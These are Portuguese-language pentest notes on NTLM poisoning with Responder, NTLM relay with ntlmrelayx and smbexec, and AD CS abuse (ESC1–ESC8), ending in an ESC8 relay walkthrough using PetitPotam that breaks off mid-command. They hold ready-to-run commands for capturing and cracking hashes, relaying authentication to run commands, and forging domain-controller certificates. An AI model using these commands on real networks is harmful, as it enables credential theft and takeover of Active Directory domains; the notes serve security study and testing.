### NTLM Poison
O termo "NTLM Poison" (ou "NTLM Poisoning") refere-se a uma técnica de ataque cibernético que explora vulnerabilidades em protocolos de resolução de nomes locais em redes Windows, como LLMNR (Link-Local Multicast Name Resolution) e NBT-NS (NetBIOS Name Service), para capturar ou retransmitir credenciais NTLM.
Na prática, não é um protocolo ou falha isolada, mas uma combinação de envenenamento (poisoning) de resolução de nomes que leva à exposição de hashes NTLM, os quais podem ser crackeados ou relayados para acessar recursos não autorizados. Essa técnica é comum em ambientes Active Directory e é usada por ferramentas como Responder para induzir vítimas a enviar credenciais sem que elas percebam.
Diferente do NTLM Relay puro (que retransmite autenticações em tempo real), o NTLM Poisoning foca na fase inicial de indução, onde o atacante "envena" respostas a consultas de nomes para redirecionar o tráfego para um servidor malicioso.
Isso frequentemente resulta na captura de hashes NTLMv1 ou NTLMv2, que são derivados da senha do usuário. Ataques como esses são persistentes porque protocolos como LLMNR e NBT-NS são ativados por padrão em sistemas Windows para compatibilidade, especialmente quando o DNS falha.
O ataque tipicamente usa ferramentas como Responder (escrito em Python, disponível no Kali Linux) para automatizar o processo. Aqui vai um fluxo passo a passo:
1. **Preparação do Atacante**:
- O atacante está na mesma rede (ex: via Wi-Fi ou comprometimento inicial).
- Executa Responder com comandos como responder -I eth0 -rwd (onde -I especifica a interface de rede, -r ativa respostas rogue, -w ativa WPAD, -d injeta DHCP).cynet.comcobalt.io
2. **Indução da Consulta**:
- A vítima faz uma ação que dispara uma consulta multicast, como:
- Digitar um nome incorreto em um compartilhamento SMB (ex: \wow).
- Navegar para uma URL inválida que aciona WPAD no navegador (ex: Internet Explorer busca por proxy automático).
3. **Envenenamento da Resposta**:
- Responder escuta nas portas UDP 5355 (LLMNR) e 137 (NBT-NS).
- Responde à consulta multicast antes de qualquer dispositivo legítimo, fornecendo seu próprio IP como o "endereço correto".
- A vítima se conecta ao IP do atacante, iniciando uma autenticação NTLM.
4. **Captura de Credenciais**:
- Durante a conexão (ex: via SMB ou HTTP), a vítima envia seu hash NTLMv2.
- Responder salva os hashes em logs (ex: /usr/share/responder/logs/SMBv2-NTLMv2-SSP-<ip>.txt).</ip>
- Opcionalmente, usa modos como --lm para downgrade para hashes mais fracos ou -b para capturar credenciais em claro via autenticação básica.
5. **Exploração Posterior**:
- Crackear: hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt.
- Relay: Usar ntlmrelayx.py (do Impacket) para retransmitir o hash a outro alvo, ex: ntlmrelayx.py -tf targets.txt -smb2support, ganhando shell se SMB signing não estiver ativado.
- Variações: Modo de análise (-A) para monitorar sem poisonar, ou MultiRelay para relay multi-alvo e execução de comandos.
##### Comandos usados.
```
# Inicia Responder na interface de rede (ex: eth0)
sudo responder -I eth0 -v
```
```
sudo ntlmrelayx.py -tf targets.txt -smb2support -c "whoami"
```
---
### NTLM Relay
A falha de NTLM Relay refere-se a uma vulnerabilidade no protocolo NTLM que permite ataques de retransmissão (relay attacks), onde um atacante age como um intermediário (man-in-the-middle) entre um cliente legítimo e um servidor. Em vez de quebrar ou roubar senhas diretamente, o atacante intercepta as mensagens de autenticação NTLM de um cliente e as retransmite para outro servidor, efetivamente se autenticando como o usuário vítima sem conhecer a senha real.
Essa falha é particularmente perigosa em redes Windows porque:
- O NTLM não vincula as mensagens de autenticação a uma sessão específica ou a um canal seguro, permitindo a retransmissão.
- Ataques podem ser combinados com outras técnicas, como envenenamento de LLMNR (Link-Local Multicast Name Resolution) ou NBT-NS, para forçar vítimas a se conectarem ao servidor malicioso do atacante.
- Isso pode levar a escalonamento de privilégios, como acesso a recursos sensíveis ou até controle de domínios Active Directory.
Diferente de ataques de cracking de hash (como Pass-the-Hash), o relay não requer o roubo prévio de hashes; ele explora a autenticação em tempo real.
OBS: O SMB Signer precisa estar Disable para funcionar. Pois assim as mensagens não serão assinadas.
```
impacket-ntlmrelayx -tf relay.txt -smbsupport -of netntlm --socks
```
```
sudo responder -I eth0
```
```
proxychains impacket-smbexec -no-pass 'PRAIS'/'LENITA'@'192.168.x.x'
```
---
### AD CS
O Active Directory Certificate Services (AD CS) é um serviço de servidor da Microsoft integrado ao Active Directory (AD), que funciona como uma infraestrutura de chave pública (PKI - Public Key Infrastructure).
Ele permite a emissão, gerenciamento e revogação de certificados digitais X.509, usados para autenticação, criptografia, assinaturas digitais e proteção de comunicações em ambientes Windows.
O AD CS não é instalado por padrão, mas é amplamente adotado em redes empresariais para suportar recursos como autenticação de usuários (via Kerberos/NTLM), VPNs, Wi-Fi seguro, smart cards e criptografia de arquivos.
Seus principais componentes incluem:
- **Autoridade Certificadora (CA - Certificate Authority)**: O servidor central que emite e assina certificados com base em solicitações (Certificate Signing Requests - CSRs).
- **Modelos de Certificados (Certificate Templates)**: Objetos no AD que definem configurações pré-definidas para certificados, como usos permitidos (Extended Key Usages - EKUs), permissões de inscrição (enrollment) e requisitos de emissão.
- **Interface de Inscrição Web (Web Enrollment)**: Uma interface opcional para solicitações de certificados via navegador, que pode ser vulnerável se mal configurada.
- **Integração com AD**: Os certificados são armazenados e gerenciados no diretório, permitindo autenticação automática e políticas de grupo para distribuição.
### Como o abusar desse serviço?
o AD CS para escalação de privilégios de domínio, movimento lateral, persistência e roubo de credenciais. Isso ocorre principalmente devido a misconfigurações comuns em modelos de certificados, permissões de acesso e flags de configuração, permitindo que usuários de baixo privilégio solicitem certificados que concedam acesso elevado.
Uma pesquisa seminal da SpecterOps, intitulada "Certified Pre-Owned", identificou vários vetores de abuso (chamados de ESC - Escalation Scenarios), numerados de ESC1 a ESC8, que exploram primitivas de abuso no AD CS.
Abaixo, uma tabela resumindo os principais vetores de escalação (ESC1 a ESC8), como eles funcionam, requisitos e ferramentas comuns. Esses cenários podem levar a comprometimento total do domínio, pois certificados válidos persistem até sua revogação ou expiração.
| Vetor | Descrição e Como Funciona | Requisitos Principais | Ferramentas Comuns | Exemplos de Impacto |
| -------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------ | ---------------------------------------------------------------------------------- |
| **ESC1** | Exploração de modelos de certificados misconfigurados que permitem que usuários de baixo privilégio solicitem certificados com EKUs para autenticação de domínio (ex.: Client Authentication OID 1.3.6.1.5.5.7.3.2), especificando um Subject Alternative Name (SAN) arbitrário para se passar por administradores. O atacante envia uma CSR e recebe um certificado assinado pela CA. | - Direitos de inscrição para usuários baixos. - Flag CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT ativada. - Sem aprovação de gerente ou assinaturas autorizadas. - EKUs que habilitam autenticação. | Certify, certreq.exe, Certipy. | Escalação para Domain Admin; persistência via autenticação sem senha. |
| **ESC2** | Similar ao ESC1, mas explora modelos com EKU "Any Purpose" ou sem EKU definido, permitindo usos amplos (ex.: autenticação como o próprio usuário ou assinatura de novos certificados). Não requer SAN para impersonação inicial, mas pode escalar para outros abusos. | - Mesmos do ESC1, mas focado em EKUs amplos ou ausentes. - Inscrição permitida para usuários baixos. | Certify, PSPKI (PowerShell). | Escalação de privilégios e criação de certificados personalizados. |
| **ESC3** | Uso de modelos de "Enrollment Agent" (com EKU OID 1.3.6.1.4.1.311.20.2.1) para solicitar certificados em nome de outros usuários ou máquinas, combinado com outros modelos vulneráveis. Permite bypass de restrições de inscrição. | - Direitos de inscrição no modelo de agente. - Sem restrições de agente de inscrição. - Modelos alvo (ex.: User ou Machine) vulneráveis. | Certify, certreq.exe. | Impersonação em massa e escalação para contas privilegiadas. |
| **ESC4** | Exploração de controles de acesso (ACEs) misconfigurados em modelos de certificados, permitindo que usuários baixos editem propriedades para torná-los vulneráveis (ex.: ativando SAN ou EKUs perigosos). | - Permissões de edição (ex.: WriteDacl, FullControl) concedidas a grupos como Domain Users ou Computers. | PoshADCS, Certify (para enumeração). | Modificação de templates para habilitar outros ESCs, levando a domínio compromise. |
| **ESC5** | Pós-exploração: Com acesso admin local na CA, extrai chaves privadas e cria "Golden Certificates" para autenticação arbitrária. Explora objetos PKI no AD com permissões excessivas. | - Acesso admin na CA ou objetos PKI (ex.: NTAuthCertificates). - Permissões em containers como CN=Public Key Services. | Mimikatz, Certify. | Roubo de hashes e tickets Kerberos; persistência de longo prazo. |
| **ESC6** | Exploração do flag EDITF_ATTRIBUTESUBJECTALTNAME2 na CA, que permite SAN arbitrário em qualquer solicitação, mesmo em templates não configurados para isso (ex.: template User padrão). | - Flag ativado na CA. - Inscrição em templates de autenticação por usuários baixos. | Certreq.exe, Certipy. | Autenticação como qualquer usuário, incluindo admins. |
| **ESC7** | Exploração de ACEs misconfigurados na própria CA (ex.: no objeto de computador da CA ou serviços RPC/DCOM), permitindo controle sobre a CA para emitir certificados maliciosos. | - Permissões excessivas na CA (ex.: WriteOwner). - Acesso a objetos relacionados à CA. | Certify, PowerView. | Controle total da CA e emissão de certificados rogue. |
| **ESC8** | Ataque de relay (ex.: NTLM relay) contra serviços de inscrição web da CA (ex.: CES - Certificate Enrollment Service), forçando autenticação e solicitando certificados em nome de vítimas. | - Serviços web expostos sem proteção (ex.: sem EPA - Extended Protection for Authentication). - Capacidade de relay NTLM. | ntlmrelayx (Impacket), PetitPotam. | Escalação via relay para obter certificados privilegiados. |
#### Exemplo de Ataque de Relay ESC8 (Sem Auth)
**Requisitos**
- Verificar se solicita autenticação para acessar o Web Enrollment.
- Iniciar um NTLM Relay para o servidor web.
- Solicita um certificado.
- Gerar u Token TGT
- Rodar um DCSync
**Passos**
1. Iniciar um NTLM Relay para o servidor web e solicitar um certificado:
URL: http://192.168.161.230/certsrv/certfnsh.asp
2. Roda o comando impacket.
```
impacket-ntlmrelayx -t http://192.168.161.230/certsrv/certfnsh.asp -smb2support --adcs --template DomainController -ip 192.168.161.20
```
3. Pedir um certificado usando o PetitPotato:
```
cd /opt/PetitPotam
python3 PetitPotam.py 192.168.161.20 costao.brava.local
```
4. Após receber o certificado iremos gerar um token TGT:
```
cd /opt/PKINITtools
python3 gettgtpkinit.py -pfx-base64 $(cat /home/kali/cert.b64) 'brava.local'/'costao